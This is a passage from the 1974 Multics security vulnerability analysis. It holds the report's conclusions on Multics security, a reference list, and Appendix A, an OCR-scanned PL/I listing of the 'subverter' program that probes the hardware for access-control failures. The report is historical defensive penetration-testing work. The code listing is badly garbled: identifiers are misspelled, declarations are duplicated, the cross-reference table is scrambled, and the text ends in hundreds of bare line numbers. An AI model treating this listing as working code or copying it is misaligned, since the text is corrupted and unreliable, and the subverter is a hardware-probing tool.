The primary conclusion one can reach from this vulnerability analysis is that Multics is not currently a secure system. A relatively low level of effort gave examples of vulnerabilities in hardware security, software security, and procedural security. While all the reported vulnerabilities were found in the HIS 645 system and happen to be fixed by the nature of the changes in the HIS 6180 hardware, other vulnerabilities exist in the HIS 6180. (40) No attempt was made to find more than one vulnerability in each area of security. Without a doubt, vulnerabilities exist in the HIS 645 Multics that have not been identified. Some major areas not even examined are I/O, process management, and administrative interfaces. Further, an initial cursory examination of the HIS 6180 Multics easily turned up vulnerabilities.

We have seen the impact of implementation errors or omissions in the hardware vulnerability. In the

(40) In all fairness, the HIS 6180 does provide significant improvements by the addition of ring hardware. However, ring hardware by itself does not make the system secure. Only certification as a well-defined closed process can do that.

software vulnerabilities, we have seen the major security impact of apparently unimportant ad hoc designs. We have seen that the development site and distribution paths are particularly attractive for penetration. Finally, we have seen that the procedural controls over such areas as passwords and auditing are no more than "security blankets" as long as the fundamental hardware and software controls do not work.

4.2 Multics as a Base for a Secure System

While we have seen that Multics is not now a secure system, it is in some sense significantly "more secure" than other commercial systems and forms a base from which a secure system can be developed. (See Lipner <LIP74>.) The requirements of security formed part of the basic guiding principles during the design and implementation of Multics. Unlike systems such as OS/360 or GCOS in which security functions are scattered throughout the entire supervisor, Multics is well structured to support the identification of the security and non-security related functions. Further Multics possesses the segmentation and ring hardware which have been identified <SM174> as crucial to the implementation of a reference monitor.

4.2.1 A System for a Benign Environment

We have concluded that AFDSC cannot run an open multi-level secure system on Multics at this time. As we have seen above, a malicious user can penetrate the system at will with relatively minimal effort. However, Multics does provide AFDSC with a basis for a benign multi-level system in which all users are determined to be trustworthy to some degree. For example, with certain enhancements, Multics could serve AFDSC in a two-level security mode with both Secret and Top Secret cleared users simultaneously accessing the system. Such a system, of course, would depend on the administrative determination that since all users are cleared at least to Secret, there would be no malicious users attempting to penetrate the security controls.

A number of enhancements are required to bring Multics up to a two-level capability. First and most important, all segments, directories, and processes in the system should be labeled with classification levels and categories. This labeling permits the classification check to be combined with the ACL check and to be represented in the descriptor segment. Second, an earnest

review of the Multics operating system is needed to identify vulnerabilities. Such a review is meaningful in Multics, because of its well structured operating system design. A similar review would be a literally endless task in a system such as OS/360 or GCOS. A review of Multics should include an identification of security sensitive modules, an examination of all gates and arguments into ring 0, and a check of all intersystem references in ring 0. Two additional enhancements would be useful but not essential. These are some sort of "high water mark" system as in ADEPT-50 (see Weissman <WFIG9>) and some sort of protection from user written applications programs that may contain "Trojan Horses".

4.2.2 Long Term Open Secure System

In the long term, it is felt that Multics can be developed into an open secure multi-level system by restructuring the operating system to include a security kernel. Such restructuring is essential since malicious users cannot be ruled out in an open system. The procedures for designing and implementing such a kernel are detailed elsewhere. <AND73, BL73-1, BL73-2, LLP73, PRI73, SCH73, SCH173, WAI74> To briefly summarize, the access controls of the kernel must always be involved (segmentation hardware); must be tamperproof (ring hardware); and must be small enough and simple enough to be certified correct (a small ring 0). Certifiability is the critical requirement in the development of a multi-level secure system. ESD/DCI is currently proceeding with a development plan to develop such a certifiably secure version of Multics <ESD73>.

REFERENCES

- <ABB74> Abbott, R. P., et al, A Bibliography on Computer Operating System Security, The RISOS Project, UCRL-51555, Lawrence Livermore Laboratory, University of California/Livermore, 15 April 1974.
- <AND71> Anderson, James P., AF/ACS Computer Security Controls Study, ESD-TR-71-395, November 1971.
- <AND73> Anderson, James P., Computer Security Technology Planning Study, ESD-TR-73-51, Vols I and II, October 1972.
- <AGB71> Andrews, J., M. L. Goudy, J. E. Barnes, Model G45 Processor Reference Manual, Cambridge Information Systems Laboratory, Honeywell Information Systems, Inc., 1971.
- <BL73-1> Bell, D. E., L. J. LaPadula, Secure Computer Systems: Mathematical Foundations, The MITRE Corporation, ESD-TR-73-278, Vol I, November 1973.
- <BL73-2> Bell, D. E., L. J. LaPadula, Secure Computer Systems: A Mathematical Model, The MITRE Corporation, ESD-TR-73-278, Vol II, November 1973.
- <DEN66> Dennis, J. B., and E. C. Van Horn, "Programming Semantics for Multiprogrammed Computations", Comm. ACM, 3 (Sept. 1966), pp. 143-155.
- <DOD72> DoD Directive 5200.28, "Security Requirements for Automatic Data Processing (ADP) Systems," December 18, 1972.
- <DOD73> DoD 5200.28-M, "Techniques and Procedures for Implementing, Deactivating, Testing, and Evaluating - Secure Resource-Sharing ADP Systems", January 1973.
- <DOM74> Downey, Peter J., Multics Security Evaluation: Password and File Encryption Techniques, ESD-TR-74-193, Vol III. (In preparation).
- <ESD73> ESD 1973 Computer Security Developments Summary, MCI-74-1, Directorate of Information Systems Technology Electronic Systems Division, December 1973.
- <GOH72> Goheen, S. M., R. S. Fiske, OS/360 Computer Security Penetration Exercise, WP-4467, The MITRE Corporation, Bedford, MA, 16 October 1972, as cited in <ABB74>.

- <GRA68> Graham, R. H., "Protection in an Information Processing Utility", Comm. ACM, 5 (May 1968), pp. 365-369.
- <HIS73> Honeywell Information Systems, Inc., Multics Users' Guide, Order No. AL40, Rev. 0, November 1973.
- <IBM70> IBM System/360 Operating System Service Aids, IBM System Reference Library, GC28-6719-0, June 1970.
- <ING73> Inglls, W. M., Security Problems in the WWMCCS GCOS System, Joint Technical Support Activity Operating System Technical Bulletin 730S-12, Defense Communications Agency, 2 August 1973, as cited in <ABB74>.
- <IPC73> Information Processing Center, Summary of the H6180 Processor, Massachusetts Institute of Technology, 22 May 1973.
- <JTSA73> Joint Technical Support Activity, WWMCCS Security System Test Plan, Defense Communications Agency, 23 May 1972, as cited in <ABB74>.
- <LIP73> Lipner, Steven B., Computer Security Research and Development Requirements, MTP-142, The MITRE Corporation, Bedford, MA, February 1973.
- <LIP74> Lipner, Steven B., Multics Security Evaluation: Results and Recommendations, ESD-TR-74-193, Vol 1. (In preparation)
- <ORG72> Organick, Elliot I., The Multics System: An Examination of Its Structure, The MIT Press, Cambridge, MA, 1972.
- <HPH73> The Multiplexed Information and Computing Service: Programmers' Manual, Massachusetts Institute of Technology and Honeywell Information Systems, Inc., 1973.
- <PRI73> Price, William R., Implications of a Virtual Memory Mechanism for Implementing Protection in a Family of Operating Systems, PhD Thesis, Carnegie-Mellon University, June 1973.
- <RIC73> Richardson, M. H., J. V. Potter, Design of a Magnetic Card Modifiable Credential System Demonstration, HCI-73-3, Directorate of Information Systems Technology, Electronic Systems Division, December 1973.
- <SAL73> Saltzer, Jerome H., "Protection and Control of Information Sharing in Multics," ACM Fourth Symposium on

Operating System Principles, Yorktown Heights, New York, October 1973.

<SCH73> Schell, Roger R., Peter J. Downey, Gerald J. Popek, Preliminary Notes on the Design of Secure Military Computer Systems, MCI-73-1, Directorate of Information Systems Technology, Electronic Systems Division, January 1973.

<SCH72> Schroeder, M. D., J. H. Saltzer, "A Hardware Architecture for Implementing Protection Rings", Comm. ACM, 3 (March 1972), pp. 157-170.

<SCH73> Schiller, W. L., Design of Security Kernel for the PDP-11/45, ESD-TR-73-294, June 1973.

<SMI74> Smith, Leroy A., Architectures for Secure Computing Systems, MTR-2772, The MITRE Corporation, Bedford, MA 1974.

<SPS73> System Programmers' Supplement to the Multiplexed Information and Computing Service: Programmers' Manual, Massachusetts Institute of Technology and Honeywell Information Systems, Inc., 1973.

<NAL74> Walter, K. G., Primitive Models for Computer Security, Case Western Reserve University, Cleveland, Ohio, ESD-TR-74-117, January 1974.

<WEI69> Weissman, C., "Security Controls in the ADEPT-50 Time-Sharing System," AFIPS Conference Proceedings 35, (1969 FJCC), pp. 119-133.

APPENDIX A

Subverter Listing

This appendix contains listings of the three program modules which make up the hardware subverter described in Section 3.2.1. The three procedure segments which follow are called subverter, coded in PL/I; access_violations_, coded in PL/I; and subv, coded in assembler. Subverter is the driving routine which sets up timers, manages free storage, and calls individual tests. Access_violations_ contains several entry points to implement specific tests. Subv contains entry points to implement those tests which must be done in assembler.

The internal procedure check_zero within subverter is used to watch word zero of the procedure segment for unexpected modification. This procedure was used in part to detect the Execute Instruction Access Check Bypass vulnerability.

The errors flagged in the listing of subv are all warnings of obsolete 645 instructions, because the attached listing was produced on the 6180.

COMPIATION LISTING OF SEGMENT subverter
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 04/10/74 1045.0 edit Mod
 Options: map

```

1  subverter:
2  procedure;
3
4  declare
5
6  hcs_initialize entry (char (*), char (*), char (*), fixed bin (1), fixed bin (2), ptr, fixed bin),
7  data_time_ entry (fixed bin (71), char (*)),
8  default_handler_sset entry (entry),
9  /* establishes default condition handler */
10 floor_manager_salara_call_inhibit entry (fixed bin (71), bit (2), entry),
11 /* sets alarm clocks */
12 floor_manager_greset_alarm_call entry (entry),
13 /* resets alarm clocks */
14 hcs_make_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin),
15 /* create a segment */
16 user_info_known_dir entry (char (*)),
17 cu_sarg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
18 /* get pointer to arguments */
19 /* prints error messages */
20 /* prints on io streams */
21 /* prints on user_output */
22 /* string to numeric conversion */
23 /* entry to do the testing */
24 /* does a cam instruction */
25 subverter$tlar ext entry,
26 subvscam,
27 subvsldf,
28 subvsldbr,
29 subvsdbr,
30 subvsdcl,
31 subvsdls,
32 subvsdmc,
33 subvsdmc,
34 subvsdmc,
35 subvsdmc,
36 subvsdmc,
37 subvsdmc,
38 subvsdmc,
39 access_violations_illegal_opcodes,
40 access_violations_fetch,
41 access_violations_store,
42 access_violations_fetch,
43 access_violations_store,
44 access_violations_store,
45 access_violations_store,
46 access_violations_store,
47 access_violations_store,
48 entry (ptr),
49 clock_ entry returns (fixed bin (71));
50 declare
51 i fixed bin,
52 fp pointer,
53 sp pointer int static,
54 code fixed bin,
55 wdir char (163),
56 df_string char (24),
57 /* points to failure blocks */
58 /* points to statistics segment */

```

```

56 arg char (arg1) based (argp),
57 arg1 fixed bin,
58 argp pointer,
59 error_table_offset fixed bin (35) ext static,
60 seg_version fixed bin int static init (1),
61 max_test fixed bin int static init (22),
62 test_names (22) int static char (32) init ("cam", "scu", "ldt", "sdr", "cloc", "dis",
63 "rac", "sac", "salc", "lact", "lasm", "lasm", "pcu", "fetch_access_violation",
64 "store_access_violation", "xed_fetch_access_violation", "xed_store_access_violation",
65 "if_access_violation", "legal_bounds_fault", "illegal_bounds_fault", "illegal_opcode"),
66 ref_label label int static,
67 interval fixed bin (35) int static,
68 time fixed bin (72);
69
1 /* start of include file subvert_statistics.incl.p11
2
3 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
4
5 declare
6
7 1 subvert_statistics based(sp) aligned,
8   2 cur_test fixed bin(17) unal,
9   2 next_code fixed bin(17) unal,
10  2 end_of_segment fixed bin(17) unal,
11  2 last_failure_block fixed bin(17) unal,
12  2 test_in_progress fixed bin,
13
14  2 time_of_last_test fixed bin(71),
15  2 cur_total_time fixed bin(71),
16  2 number_of_tests fixed bin,
17  2 tests((refer(number_of_tests)) aligned,
18    3 number_of_attempts fixed bin,
19    3 number_of_failures fixed bin,
20    3 failure_block_ptr fixed bin(17) unal,
21    3 last_test_time fixed bin(71),
22    3 cur_test_time fixed bin(71));
23
24 /* End of subvert_statistics.incl.p11 */
25
26 /* Start of include file failure_block.incl.p11
27
28 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
29 Modified 21 July 72 0820 by P. Karger to use fixed bin unal
30
31 */
32
33 declare
34
35 1 failure_block based(fp) aligned,
36   2 version fixed bin,
37   2 type fixed bin,
38   2 time_of_failure fixed bin(71),
39   2 next_block fixed bin(17) unal,
40   2 scu_data(5) fixed bin;
41
42   /* version number = 1 */
43   /* index of test in test array */
44   /* rel pointer to next failure block of this type */
45   /* to be defined */
46
47   /* number of attempts of this test */
48   /* number of machine or software failures found */
49   /* rel pointer to start of threaded list of failure blocks */
50
51   /* number of current test in progress */
52   /* next opcode number */
53   /* rel pointer to end of segment */
54   /* rel pointer to last failure block used */
55   /* test number of test in progress
56      = 0 if no test in progress
57   identifies test in progress if machine crashes */

```

```

2 19 /* End of include file failure_block.incl.pl1 */
71
72 interval = 60;
73 call cu_sarg_ptr (1, argp, argl, code);
74 if code = 0 then
75   do;
76     if arg = "-stop" then
77       do;
78         call timer_manager_reset_alarm_call (subverfter);
79         return;
80       end;
81     interval = cv_dec_check_ (arg, code);
82     if code = 0 then
83       do;
84         call com_err_ (error_table_sbedopt, "subverfter", arg);
85         return;
86       end;
87     end;
88     call user_info_showdir (mdir);
89     call hcs_sake_seg (mdir, "subvert_statistics", "", 0101b, sp, code);
90     if sp = null () then
91       do;
92         no_seg;
93       end;
94     call com_err_ (code, "subverfter", "subvert_statistics");
95     return;
96   end;
97   if code = 0 then
98     do;
99       last_failure_block, end_of_segment = 10000000000000b;
100       /* segment is new */
101       /* 64K segment length */
102       number_of_tests = max_test;
103       cur_test = 1;
104       next_code = -1;
105     end;
106   else
107     do;
108       if test_in_progress = 0 then
109         do;
110           call com_err_ (0, "subverfter",
111             "test was in progress. Call subverfterreset to clear segment and resume.");
112           test_names (test_in_progress);
113           return;
114         end;
115       end;
116     end;
117   finish_setup;
118   time_of_last_test = clock_ ();
119   do i = 1 to number_of_tests;
120     last_test_time (i) = time_of_last_test;
121   end;
122   call timer_manager_alarm_call_inhibit (1, "11'b, subverfter");
123   /* start in 1 second */
124   return;
125 subverfterreset;
126 entry;
127 if test_in_progress = 22 /* illegal opcode test */ then next_code = next_code - 1;
128 test_in_progress = 0;

```

```

129      go to finish_setup;
130
131
132  subvert_timer;
133  entry ();
134      call check_zero ();
135      ref_label = next_setup;
136      call default_handler_set (fault_handler);
137      call get_failure_block (cur_test);
138      number_of_attempts (cur_test) = number_of_attempts (cur_test) + 1;
139      time = clock ();
140      cum_total_time = cum_total_time + time - time_of_last_test;
141      time_of_last_test = time;
142      cum_test_time (cur_test) = cum_test_time (cur_test) + time - last_test_time (cur_test);
143      last_test_time (cur_test) = time;
144      go to c (cur_test);
145
146  c (1);
147      call subvscas (fp);
148      go to screen_bloody_murder;
149
150  c (2);
151      call subvsscu (fp);
152      go to screen_bloody_murder;
153
154
155  c (3);
156      call subvslid (fp);
157      go to screen_bloody_murder;
158
159
160  c (4);
161      call subvslidr (fp);
162      go to screen_bloody_murder;
163
164
165  c (5);
166      call subvssdr (fp);
167      go to screen_bloody_murder;
168
169
170  c (6);
171      call subvsclec (fp);
172      go to screen_bloody_murder;
173
174
175  c (7);
176      call subvslis (fp);
177      go to screen_bloody_murder;
178
179
180  c (8);
181      call subvssracm (fp);
182      go to screen_bloody_murder;
183
184
185  c (9);
186      call subvssacm (fp);
187      go to screen_bloody_murder;

```

```

188
189
190 c (10) :
191     call sub$tic (fp);
192     go to screen_bloody_murder;
193
194
195 c (11) :
196     call sub$lect (fp);
197     go to screen_bloody_murder;
198
199
200 c (12) :
201     call sub$lose (fp);
202     go to screen_bloody_murder;
203
204
205 c (13) :
206     call sub$ssaa (fp);
207     go to screen_bloody_murder;
208
209
210 c (14) :
211     call sub$rcu (fp);
212     go to screen_bloody_murder;
213
214
215 c (15) :
216     call access_violations_$fetch (fp);
217     go to screen_bloody_murder;
218
219
220 c (16) :
221     call access_violations_$store (fp);
222     go to screen_bloody_murder;
223
224
225 c (17) :
226     call access_violations_$xed_fetch (fp);
227     go to screen_bloody_murder;
228
229
230 c (18) :
231     call access_violations_$xed_store (fp);
232     go to screen_bloody_murder;
233
234
235 c (19) :
236     call access_violations_$ld (fp);
237     go to screen_bloody_murder;
238
239
240 c (20) :
241     call access_violations_$illegal_bounds_fault (fp);
242     go to screen_bloody_murder;
243
244
245 c (21) :
246     call access_violations_$illegal_bounds_fault (fp);

```

```

247 go to screen_bleedy_murder;
248
249
250 c (22) ;
251 call access_violations_illegal_opcodes (fp);
252 go to screen_bleedy_murder;
253
254 screen_bleedy_murder;
255 number_of_failures (cur_test) = number_of_failures (cur_test) + 1;
256 call log_stream ("error_output",
257 --/-----/from subverter; test -R^B succeeded!-/-----, test_names (cur_test)
258 );
259 test_in_progress = 0;
260
261 next_setup;
262 call check_zero ();
263 if cur_test = max_test then cur_test = 1;
264 else cur_test = cur_test + 1;
265 time = interval;
266 call timer_manager_salarm_cell_inhibit (time, "11^b, subvertstimer);
267 return;
268
269
270 display;
271 entry ();
272 call user_info_showedir (wdir);
273 call hcs_initialize (wdir, "subvert_statistics", "", 0, 0, sp, code);
274 if sp = null () then go to no_seg;
275
276
277 call log_ ("Total testing time = %.2f hours.", cur_total_time/3600000000.000);
278 if test_in_progress = 0 then call log_ ("Test -R^B in progress.", test_names (test_in_progress));
279
280 call log_ ("Total testing time = %.2f hours.", cur_total_time/3600000000.000);
281 call log_ ("-----Cumulative");
282 call log_ ("Test Name --Test Times Attempts Failures");
283 do i = 1 to number_of_tests;
284 call log_ ("%-30s -%.2f -%.2f -%.2f -%.2f", test_names (i), cur_test_time (i)/3600000000.000,
285 number_of_attempts (i), number_of_failures (i));
286 do fp = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, next_block)) while (fp) =
287 "0^b";
288 call date_time_ (time_of_failure, dt_string);
289 call log_ ("-----Failure at %.2f", dt_string);
290
291 end;
292
293 return;
294
295 get_failure_blocks;
296 proc ();
297
298 declare
299 block_size (22) fixed bin init ((22) 32) int static,
300 i fixed bin (17) unal,
301 p ptr,
302 fp ptr;
303 do p = pointer (sp, failure_block_ptr (1)) repeat (pointer (sp, fp -> next_block)) while (fp) =
304 "-0^b";
305 fp = p;

```

```

306 end;
307 if failure_block_ptr (i) /= 0 then
308   do;
309     fp -> next_block, last_failure_block = last_failure_block - block_size (i);
310     /* thread on new block */
311     fp = pointer (sp, fp -> next_block);
312     /* set the pointer to the new block */
313   end;
314 else
315   do;
316     /* this is the first failure block for this test type */
317     failure_block_ptr (i), last_failure_block = last_failure_block - block_size (i);
318     /* thread on the block */
319     fp = pointer (sp, failure_block_ptr (i));
320     /* set the pointer */
321   end;
322   fp -> failure_block.version = seg_version; /* initialize the block */
323   fp -> type = i;
324   return;
325
326 free_failure_block:
327   entry (i);
328   fp -> failure_block.version, fp -> type = 0; /* zero the data */
329   do p = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, p -> next_block)) while (rel (p) <=
330     rel (fp));
331   fp = p;
332   end;
333   if p /= pointer (sp, failure_block_ptr (i)) then fp -> next_block = 0;
334   /* if not first block then unthread from block before */
335   else failure_block_ptr (i) = 0;
336   /* else unthread from header */
337   last_failure_block = last_failure_block + block_size (i);
338   /* indicate space is free */
339 end;
340
341 fault_handler:
342   procedure (sc_ptr, cond_name, wc_ptr, info_ptr, continue);
343   /* procedure to catch interrupts */
344   declare
345     (
346       sc_ptr,
347       wc_ptr,
348       info_ptr)
349   ptr;
350   cond_name char (*),
351   i fixed bin,
352   n_conds fixed bin int static init (8),
353   continue bit (1) aligned,
354   conds (8) char (32) int static init ("illegal_procedure", "635/645_compatibility",
355     "635_compatibility", "undefined_acc", "access_violation", "-bounds_fault_ok",
356     "out_bounds_err", "illegal_opcodes");
357   do i = 1 to n_conds;
358     if cond_name = conds (i) then
359       do;
360         test_in_progress = 0;
361         /* we want this condition */
362         call free_failure_block (cur_test);
363         /* No more worries about crashes */
364         /* free the failure block */
365         go to ref_init;
366         /* non-local goto */

```

```

365     end;
366     continue = "1";
367     return;
368
369     end;
370     check_zero;
371     proc;
372
373     declare
374         1 lmpure based (lmpure_ptr) aligned,
375         2 lock_word bit (36) aligned,
376         2 compare_word bit (36) aligned;
377
378     declare
379         word_zero bit (36) aligned based (pointer (lmpure_ptr, 0)),
380         lmpure_ptr pointer based (addr (label_var)),
381         label_var label,
382         exec_com entry options (variable),
383         setacl entry options (variable);
384         label_var = dummy_label;
385         if lock_word = "0" then
386             do;
387                 call setacl (">udd>d>pak>subverter", "rem", "larger.Druid.m");
388                 compare_word = word_zero;
389                 lock_word = "0";
390                 call setacl (">udd>d>pak>subverter", "re", "larger.Druid.m");
391             end;
392         else
393             if compare_word = word_zero then call exec_com (">udd>d>pak>subverter_garage",
394                 test_names (cur_test));
395             return;
396         end;
397
398         l = l + 1;
399         i = i + 1;
400     end;
401 end;

```


INCLUDE FILES USED IN THIS COMPILATION.

LINE	NUMBER	NAME
70	1	subvert_statistics.incl.pl1
71	2	failure_block.incl.pl1

PATHNAME
 >user_dir_dir_dir->Druid>Karger>compiler_pool>subvert_statistics.incl.pl1
 >user_dir_dir_dir->Druid>Karger>compiler_pool>failure_block.incl.pl1

ATTRIBUTES AND REFERENCES

IDENTIFIER	OFFSET	LOC	STORAGE CLASS	DATA TYPE	ATTRIBUTES AND REFS
NAMES DECLARED BY DECLARE STATEMENT.					
access_violations_fetch				entry	external dcl 7 ref 215
access_violations_sid	000374	constant		entry	external dcl 7 ref 235
access_violations_illegal_bounds_fault	000404	constant		entry	external dcl 7 ref 245
access_violations_illegal_opcodes	000410	constant		entry	external dcl 7 ref 250
access_violations_illegal_bounds_fault	000372	constant		entry	external dcl 7 ref 240
access_violations_illegal_bounds_fault	000406	constant		entry	external dcl 7 ref 220
access_violations_store	000376	constant		entry	external dcl 7 ref 225
access_violations_fetch	000400	constant		entry	external dcl 7 ref 230
access_violations_store	000402	constant		entry	external dcl 7 ref 230
arg		based		char	unaligned dcl 50 set ref 70 01 04
arg1		automatic		fixed bin(17,0)	dcl 50 set ref 70 70 01 01 04 04
arg2		automatic		pointer	dcl 50 set ref 70 70 01 04
block_size		constant		fixed bin(17,0)	initial array dcl 299 ref 309 316 336
clock		constant		entry	external dcl 7 ref 115 139
code		automatic		fixed bin(17,0)	dcl 50 set ref 70 74 01 02 09 92 96 274
com_err		constant		entry	external dcl 7 ref 84 92 100
compare_word		based		bit(36)	level 2 dcl 373 set ref 386 391
cond_name		constant		char(32)	unaligned dcl 346 ref 342 399
conds		parameter		bit(1)	dcl 346 set ref 342 367
continue		constant		entry	external dcl 7 ref 73
cu_sare_ptr		based		fixed bin(71,0)	array level 3 dcl 1-7 set ref 142 142 205
cue_test_line		based		fixed bin(71,0)	level 2 dcl 1-7 set ref 148 148 201
cue_test_line		based		fixed bin(17,0)	level 2 packed unaligned dcl 1-7 set ref 101 137
cur_test		based		fixed bin(17,0)	138 138 142 142 142 144 255 255 257 264 264
					265 265 342 391
cv_dec_check		constant		entry	external dcl 7 ref 81
date_time		constant		entry	external dcl 7 ref 209
default_handler_set		constant		entry	external dcl 7 ref 136
dt_string		automatic		char(24)	unaligned dcl 50 set ref 209 290
end_of_segment		based		fixed bin(17,0)	level 2 packed unaligned dcl 1-7 set ref 90
error_table_bddopt		static		fixed bin(35,0)	dcl 50 set ref 04
exec_con		constant		entry	external dcl 377 ref 391
failure_block_ptr		based		fixed bin(17,0)	array level 3 packed unaligned dcl 1-7 set ref 207
fp		automatic		pointer	303 307 316 316 329 333 335
					dcl 50 set ref 146 150 155 168 165 170 175 180 105
					190 195 200 205 210 215 220 225 230 235 240 245
					250 267 267 289 303 305 309 311 311 310 321
					322 328 328 329
					external dcl 7 ref 274
hcs_initiate		constant		entry	external dcl 7 ref 09
hcs_state_seq		constant		fixed bin(17,0)	dcl 50 set ref 117 118 204 205 205 205 207 395
		automatic			395 397 397
		parameter		fixed bin(17,0)	unaligned dcl 299 ref 295 303 307 309 316 316 310
					322 326 329 333 335 336
		automatic		fixed bin(17,0)	dcl 346 set ref 350 359
		based		pointer	dcl 377 ref 383 386 387 391 391
		parameter		pointer	dcl 346 ref 342

interval	000276	internal static	fixed bin(35,0)
lea_	000338	constant	entry
lea_slot_stream	000326	constant	entry
label_var	000206	automatic	label variable
last_failure_block	1(18)	based	fixed bin(17,0)
last_test_time	16	based	fixed bin(71,0)
lock_word		based	bit(36)
max_test	003655	constant	fixed bin(17,0)
mc_ptr		parameter	pointer
n_seconds	003054	constant	fixed bin(17,0)
next_block	4	based	fixed bin(17,0)
next_code	0(18)	based	fixed bin(17,0)
number_of_attempts	12	based	fixed bin(17,0)
number_of_failures	13	based	fixed bin(17,0)
number_of_tests	10	based	fixed bin(17,0)
p	000189	automatic	pointer
ref_label	000272	internal static	label variable
seq_version	003056	constant	fixed bin(17,0)
sofac1	000428	constant	entry
sp	000016	internal static	pointer
subvscan	000336	constant	entry
subvscloc	000346	constant	entry
subvscdis	000358	constant	entry
subvscloc1	000368	constant	entry
subvscfan	000382	constant	entry
subvscfdr	000342	constant	entry
subvsclet	000348	constant	entry
subvscrcu	000366	constant	entry
subvscrcn	000362	constant	entry
subvscsn	000384	constant	entry
subvscscu	000378	constant	entry
subvscsdr	000344	constant	entry
subvscsca	000354	constant	entry
subvscslc	000356	constant	entry
subvscstlcar	000334	constant	entry
test_in_progress	2	based	fixed bin(17,0)
test_names	000012	internal static	char(32)
timeq		automatic	fixed bin(71,0)
time_of_failure	2	based	fixed bin(71,0)
time_of_last_test	4	based	fixed bin(71,0)
timeq_manager_alarm_call_inhibit			
timeq_312	000312	constant	entry
timeq_manager_reset_alarm_call			
tp	000314	constant	entry
type	000102	automatic	pointer
user_info_shmaddr	1	based	fixed bin(17,0)
version	000320	constant	entry
		based	fixed bin(17,0)

```

dcl 50 set ref 72 81 266
external dcl 7 ref 278 279 281 282 283 285 290
external dcl 7 ref 297
dcl 377 set ref 382 383 386 388 387 391 391
level 2 packed unsigned dcl 1-7 set ref 90 309
309 316 316 326 326
array level 3 dcl 1-7 set ref 118 142 142
level 2 dcl 373 set ref 383 387
initial dcl 58 ref 188 264
dcl 346 ref 342
initial dcl 346 ref 358
level 2 packed unsigned dcl 2-18 set ref 287 303
309 311 329 332
level 2 packed unsigned dcl 1-7 set ref 182 127
127
array level 3 dcl 1-7 set ref 138 138 285
array level 3 dcl 1-7 set ref 295 255 285
level 2 dcl 1-7 set ref 188 117 284
dcl 239 set ref 382 383 385 329 329 331 333
dcl 58 set ref 189 264
initial dcl 58 ref 221
external dcl 377 ref 385 388
dcl 98 set ref 89 98 98 188 181 182 188 188 115
117 118 118 127 127 127 128 127 128 138 138 138
148 148 148 141 142 142 142 142 142 142 142 142
144 233 235 235 235 237 268 264 264 265 269 274
275 279 279 281 284 285 285 287 287 287 303 303
303 383 387 389 389 311 318 316 316 318 318 329
329 379 333 333 335 336 336 361 362 391
external dcl 7 ref 146
external dcl 7 ref 178
external dcl 7 ref 179
external dcl 7 ref 195
external dcl 7 ref 288
external dcl 7 ref 288
external dcl 7 ref 188
external dcl 7 ref 218
external dcl 7 ref 188
external dcl 7 ref 285
external dcl 7 ref 198
external dcl 7 ref 198
external dcl 7 ref 185
external dcl 7 ref 185
external dcl 7 ref 198
external dcl 7 ref 78 78 128 128 267 267
level 2 dcl 1-7 set ref 186 188 187 188 269 279
279 361
initial array unsigned dcl 58 ref 188 257 279
285 391
dcl 58 set ref 139 148 142 142 143 266 267
level 2 dcl 2-18 set ref 289
level 2 dcl 1-7 set ref 115 118 148 141
external dcl 7 ref 128 267
external dcl 7 ref 73
dcl 299 set ref 331 333
level 2 dcl 2-18 set ref 322 328
external dcl 7 ref 88 273
level 2 dcl 2-18 set ref 321 328

```


COMPILATION LISTING OF SEGMENT access_violations_
 Compiled by: Multics PL/I Compiler, Version II of 30 August 1973.
 Compiled on: 04/18/74 1843.9 edt wed
 Options: map

```

1 2 access_violations_1
2 procedure;
3
4 /* start of include file subvert_statistics.incl.pli */
5
6 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
7
8 declare
9
10 1 subvert_statistics based(sp) aligned,
11   2 cur_test fixed bin(17) unal,
12   2 next_code fixed bin(17) unal,
13   2 end_of_segment fixed bin(17) unal,
14   2 last_failure_block fixed bin(17) unal,
15   2 test_in_progress fixed bin,
16
17   2 time_of_last_test fixed bin(71),
18   2 cum_total_time fixed bin(71),
19   2 number_of_tests fixed bin,
20   3 tests(1 refer(number_of_tests)) aligned,
21   3 number_of_attempts fixed bin,
22   3 number_of_failures fixed bin,
23   3 failure_block_ptr fixed bin(17) unal,
24   3 last_test_time fixed bin(71),
25   3 cum_test_time fixed bin(71);
26
27 /* End of subvert_statistics.incl.pli */
28
29 /* Start of include file failure_block.incl.pli
30
31 Initially coded by 2 Lt. Paul Karger 19 July 1972 0900 */
32 Modified 21 July 72 8020 by P. Karger to use fixed bin unal
33
34 */
35
36 declare
37
38 1 failure_block based(fp) aligned,
39   2 version fixed bin,
40   2 type fixed bin,
41   2 time_of_failure fixed bin(71),
42   2 next_block fixed bin(17) unal,
43   2 scu_data(5) fixed bin;
44
45 /* version number = 1 */
46 /* index of test in test array */
47
48 /* rel pointer to next failure block of this type */
49
50 /* to be defined */
51
52 /* number of attempts of this test */
53 /* number of machine or software failures found */
54 /* rel pointer to start of threaded list of failure blocks */
55
56 /* number of current test in progress */
57 /* next opcode number */
58 /* rel pointer to end of segment */
59 /* rel pointer to last failure block used */
60 /* test number of test in progress
61    = 0 if no test in progress
62 identifies test in progress if machine crashes */
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
